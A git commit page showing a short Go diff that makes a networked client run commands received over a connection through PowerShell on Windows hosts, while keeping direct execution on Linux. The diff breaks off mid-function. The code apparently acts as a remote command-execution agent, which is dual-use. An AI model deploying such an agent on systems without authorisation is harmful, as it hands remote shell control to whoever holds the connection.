Execute powershell commands in case of Windows host

This commit is contained in:
raul 2024-06-06 11:37:54 +02:00
parent d796db3366
commit d335d9c20c
1 changed files with 11 additions and 1 deletions

12
main.go
View File

@ -155,8 +155,18 @@ func Heartbeat(conn net.Conn) error {
}
func executeCommand(conn net.Conn, command string) {
var out []byte
var err error
formattedCommand := strings.Fields(command)
out, err := exec.Command(formattedCommand[0], formattedCommand[1:]...).Output()
switch runtime.GOOS {
case "windows":
t := []string{"-NoProfile"}
t = append(t, formattedCommand...)
out, err = exec.Command("powershell", t...).Output()
case "linux":
out, err = exec.Command(formattedCommand[0], formattedCommand[1:]...).Output()
}
if err != nil {
errorMsg := fmt.Sprintf("%v\n", err)
resp := Response{Successful: false, Message: errorMsg}